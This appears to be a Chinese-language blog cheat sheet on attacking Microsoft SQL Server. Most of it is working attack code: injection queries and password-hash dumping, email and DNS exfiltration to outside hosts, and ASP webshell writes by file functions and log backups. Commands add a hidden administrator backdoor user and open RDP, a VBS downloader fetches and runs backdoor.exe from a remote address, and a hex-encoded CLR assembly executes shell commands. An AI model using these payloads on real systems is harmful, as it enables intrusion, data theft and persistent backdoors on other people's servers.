mssql 渗透

0. 搭建mssql2012

  1. 这篇文章已经说得很详细了https://qsh5.cn/327.html
  2. 可能会遇到重装的问题:
1. Remove all SQL Server components from 'Programs and Features' 

2. Backup the registry 

3. Delete the following keys in regedit: --HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server --HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer 

4. Go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall and delete all the sub-keys referencing SQL Server 

5. Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services and delete all the keys referencing SQL Server 

6. Rename all the SQL Server folders in the computer 

7. Reboot the machine 

  1. 启用xp_cmdshell:
sp_configure 'show advanced options',1;
reconfigure;
sp_configure 'xp_cmdshell',1;
reconfigure;
  1. 启用OPENROWSET
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure

2. mssql injection

注释符:-- /**/

1. 获取标志信息

select @@version //查询版本信息   
select '1'+'1' //11  sqlserver 字符合并
select system_user // 查看当前连接用户   
select db_name()  // 查看当前数据库

select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins //查看用户及其hash

select SERVERPROPERTY('IsIntegratedSecurityOnly') //1 用的是windows认证,0用的是混和认证 

select is_srvrolemember('sysadmin'),is_member('db_owner') //角色判断

2. 枚举数据库

若显示有个数限制,可用top + not in 配合取出所有数据

  1. 枚举所有数据库
1. select name from master..sysdatabases -- //枚举数据库  

2. select name from webtest..sysobjects where xtype='U' -- //webtest数据库,查看数据库中的表

3. select name from webtest..syscolumns where id=(select id from webtest..sysobjects where name='good') -- //查看数据库中的列,webtest是数据库,good是表

4. select id,name from webtest..good -- //查看数据
  1. 枚举当前数据库
1. select catalog_name from information_schema.schemata -- //获取数据库

2. select table_name from information_schema.tables -- //获取表名

3. select column_name from information_schema.columns where table_name='xxxx' -- //获取列名 

4. select id,name from good-- //获取数据

2.时间盲注

  1. 相关函数
1. if() express1 else express 2  //条件语句   
2. waitfor delay 'hh:mm:ss' //延时函数   

e.g.:id=1;if(system_user='sa') waitfor delay '00:00:05' --   
e.g.:id=1;if(system_user='sa') exec master..xp_cmdshell 'ping -n 5 127.0.0.1'

3. len() //长度函数   
4. ascii() // ascii函数  
5. substring(express,start,stop) // 字符串截取函数   

3.数据带外

  1. email带外通信
    环境要求:sysadmin权限
    邮件账户信息要求:能够认证的smtp服务器或者自己搭建的
--开启发邮件功能
exec sp_configure 'show advanced options',1
reconfigure with override 

exec sp_configure 'database mail xps',1
reconfigure with override 

 
--创建邮件帐户信息
exec msdb.dbo.sysmail_add_account_sp
  @account_name ='hacker',                     -- 邮件帐户名称   
  @email_address ='hacker@hacker.com',            -- 发件人邮件地址    
  @display_name ='SQLServer2012',               -- 发件人姓名 
  @MAILSERVER_NAME = 'smtp.163.com',           -- 邮件服务器地址
  @PORT =25,                                    -- 邮件服务器端口 
  @USERNAME = 'xxx',                  -- 用户名 
  @PASSWORD = 'xxx'                        -- 密码(授权码) 

--数据库配置文件
exec msdb.dbo.sysmail_add_profile_sp
  @profile_name = 'SQLServer_test',     -- 配置名称 
  @description = '数据库邮件配置文件'            -- 配置描述

 
--用户和邮件配置文件相关联
exec msdb.dbo.sysmail_add_profileaccount_sp
  @profile_name = 'SQLServer_test',     -- 配置名称
  @account_name = 'hacker',                  -- 邮件帐户名称    
  @sequence_number = 1                          -- account  profile 中顺序(默认是1

exec msdb.dbo.sp_send_dbmail
@profile_name = 'SQLServer_test',   --配置名称
@recipients = '3fhezl8cu@bareed.ws',    --收件名称
@body_format = 'HTML',                      --内容格式
@subject = '文章标题',
@body = '邮件内容',
@query = 'select @@version'  --此处既是数据带外查询
  1. DNS 带外通信
    环境要求:sysadmin角色的用户
    ps:存储过程的参数列表禁止用字符串连接,所以用一个中间变量
    替代品:xp_fileexists,xp_subdirs,xp_getfiledetails(2000),sp_add_jobstep
    可能问题:dns和unc会有长度限制,可以通过substringsys.fn_varbintohexstr解决:
    sys.fn_varbintohexstr(cast((select @@version) as varbinary(255)))
DECLARE @data varchar(1024),@a varchar(1024)
select @data = (SELECT system_user)
set @a = '\\1' + @data + '.xxx.ceye.io\abc' 
exec master..xp_dirtree @a

3. mssql 文件操作

1. 读文件

1. bulk insert
要求:sysadmin、具有文件的读权限

create table books(line varchar(1024))
bulk insert  books from 'c:\Users\youncyb\a.txt'
select * from books

2. Scripting.FileSystemObject
要求:sysadmin、文件读取权限

#开启Ole Automation Procedures
sp_configure 'show advanced options',1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;

#读文件操作   
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\temp\1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'

3. xp_cmdshell

2. 写文件

1. Scripting.FileSystemObject

要求:sysadmin、目录写权限

exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ole Automation Procedures',1
reconfigure

declare @o int, @f int, @t int, @ret int  
declare @line varchar(1024)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\temp\test.txt', 1 --1表示覆盖   
exec @ret=sp_oamethod @f, 'writeline', NULL, '<%eval request("cmd")%>'

2. xp_cmdshell
要求:sysadmin、目录写权限

exec master..xp_cmdshell 'echo ^<%eval request("cmd")%^> >c:\temp\shell.aspx'

4. 命令执行

要求:全建立在 sysadmin 权限下
1. xp_cmdshell

2. sp_oacreate

#开启 ole automation procedures
EXEC sp_configure 'show advanced options', 1  
RECONFIGURE    
EXEC sp_configure 'Ole Automation Procedures', 1  
RECONFIGURE  
EXEC sp_configure 'show advanced options', 0


#利用wscript.shell 执行命令  添加后门用户 
declare @shell int   
exec sp_oacreate 'wscript.shell', @shell out
exec sp_oamethod @shell, 'run', null, 'cmd.exe /c net user hacker hacker$ /add'
exec sp_oamethod @shell, 'run', null, 'cmd.exe /c net localgroup administrators hacker$ /add'  
exec sp_oamethod @shell, 'run', null, 'cmd.exe /c reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccount\UserList"  /v hacker$ /t REG_DWORD /d 0 /f' 
exec sp_oamethod @shell, 'run', null, 'cmd.exe /c REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

3. 有回显的wscript.shell 命令执行

declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@shell output
     
exec sp_oamethod @shell,'exec',@exec output,'cmd.exe /c ping www.baidu.com'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str

4. 木马下载

declare @shell int   
exec sp_oacreate 'wscript.shell', @shell out
exec sp_oamethod @shell, 'run', null, 'echo set a=createobject("adod"+"b.stream"):set w=createobject("Msxm"+"l2.ServerXMLHTTP"):w.open"get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 > c:\temp\download.vbs&cscript download.vbs http://192.168.239.1:8080/backdoor.exe c:\temp\backdoor.exe&c:\temp\backdoor.exe&del c:\temp\backdoor.exe \q \f '

5. .NET CLR

#启动CLR
exec sp_configure 'show advanced options' ,1
RECONFIGURE
exec sp_configure 'clr enabled',1
RECONFIGURE

#利用assembly 加载.net 二进制程序,这里直接用一下luan师傅的
alter database master set trustworthy on 
CREATE ASSEMBLY luan_exec FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c01030029d16a5a0000000000000000e00022200b013000000a00000006000000000000be2800000020000000400000000000100020000000020000040000000000000004000000000000000080000000020000000000000300408500001000001000000000100000100000000000001000000000000000000000006c2800004f000000004000007c03000000000000000000000000000000000000006000000c000000342700001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000c408000000200000000a000000020000000000000000000000000000200000602e727372630000007c0300000040000000040000000c0000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001000000000000000000000000000004000004200000000000000000000000000000000a0280000000000004800000002000500c4200000700600000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133003005f00000000000000730e00000a256f0f00000a026f1000000a256f0f00000a176f1100000a256f0f00000a166f1200000a256f0f00000a176f1300000a256f0f00000a176f1400000a256f0f00000a036f1500000a256f1600000a266f1700000a6f1800000a2a1e02281900000a2a0042534a4201000100000000000c00000076322e302e35303732370000000005006c00000020020000237e00008c020000ec02000023537472696e6773000000007805000004000000235553007c0500001000000023475549440000008c050000e400000023426c6f620000000000000002000001471500000900000000fa0133001600000100000013000000020000000200000002000000190000000d00000001000000020000000000a0010100000000000600f90054020600660154020600460022020f007402000006006e00b5010600dc00b5010600bd00b50106004d01b50106001901b50106003201b50106008500b50106005a0035020600380035020600a000b50106009902a9010a00830222020a00d90122020600ea010a000600f7010a000000000001000000000001000100010010001d00b0013d00010001005020000000009600c70135000100bb200000000086181c0206000300000001009801000002009c0109001c02010011001c02060019001c020a0029001c02100031001c02100039001c02100041001c02100049001c02100051001c02100059001c02100061001c02150069001c02100071001c02100081001c0206008100cb011a0089002b0010008900d90215008900840115008900be02150089000202150089008b0210008100a0021f008100ab02230099002100280079001c0206002e000b003b002e00130044002e001b0063002e0023006c002e002b0076002e00330076002e003b007c002e0043006c002e004b008b002e00530076002e005b0076002e006300ac002e006b00d600048000000100000000000000000000000000a60200000200000000000000000000002c001400000000000200000000000000000000002c00a901000000000000003c4d6f64756c653e0053797374656d2e494f006d73636f726c696200636d640052656164546f456e64007365745f46696c654e616d6500477569644174747269627574650044656275676761626c6541747472696275746500436f6d56697369626c6541747472696275746500417373656d626c795469746c6541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c45786563757465006578650061726700746573742e646c6c0053797374656d006c75616e0053797374656d2e5265666c656374696f6e0072756e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d5265616465720054657874526561646572007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e496e7465726f7053657276696365730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730050726f63657373007365745f417267756d656e7473004f626a6563740053746172740074657374006765745f5374616e646172644f7574707574007365745f52656469726563745374616e646172644f7574707574007365745f4372656174654e6f57696e646f770000000000e388bea52dd89b46bc54e92695a9106b00042001010803200001052001011111042001010e042001010204200012450320000204200012490320000e08b77a5c561934e0890500020e0e0e0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f777301080100020000000000090100047465737400000501000000000e0100094d6963726f736f667400002001001b436f7079726967687420c2a9204d6963726f736f6674203230313800002901002434363864653931652d356661622d346431632d613639392d31323937343038343437663700000c010007312e302e302e300000000000000029d16a5a00000000020000001c010000502700005009000052534453c5a291c391233540a57b8322a05f0d8601000000443a5c615c7270635c746573745c746573745c6f626a5c52656c656173655c746573742e7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000942800000000000000000000ae280000002000000000000000000000000000000000000000000000a0280000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000200300000000000000000000200334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b00480020000010053007400720069006e006700460069006c00650049006e0066006f0000005c02000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000034000a00010043006f006d00700061006e0079004e0061006d006500000000004d006900630072006f0073006f00660074000000320005000100460069006c0065004400650073006300720069007000740069006f006e0000000000740065007300740000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e003000000032000900010049006e007400650072006e0061006c004e0061006d006500000074006500730074002e0064006c006c00000000005a001b0001004c006500670061006c0043006f007000790072006900670068007400000043006f0070007900720069006700680074002000a90020004d006900630072006f0073006f006600740020003200300031003800000000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000003a00090001004f0072006900670069006e0061006c00460069006c0065006e0061006d006500000074006500730074002e0064006c006c00000000002a0005000100500072006f0064007500630074004e0061006d00650000000000740065007300740000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000c03800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = UNSAFE
CREATE FUNCTION dbo.shell(@exe as nvarchar(200),@arg as nvarchar(200))
RETURNS nvarchar(200) 
AS EXTERNAL NAME luan_exec.[luan.cmd].run

select dbo.shell('cmd.exe','whoami')

5. db_owner 权限拿webshell

1. 利用日志差异,备份(asp文件更小,首选)

IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp
alter database webtest set RECOVERY FULL
create table  test_tmp  (a varchar(100))
backup log webtest to disk = 'c:\temp\asp.bak' with init
insert into test_tmp values ('<%eval request("cmd")%>')
backup log webtest to disk = 'c:\temp\123.asp'

2. 利用数据库差异备份(会导致asp比较很大,执行较慢)

IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
backup database webtest to disk = 'c:\temp\asp.bak';
create table [dbo].[test_tmp] ([cmd] [image]);
insert into  test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database web to disk='c:\temp\asp.asp' WITH DIFFERENTIAL,FORMAT;

6. 参考

https://paper.tuisec.win/search.jsp?keywords=mssql

http://lu4n.com/mssql-get-os-shell/

发表评论

电子邮件地址不会被公开。 必填项已用*标注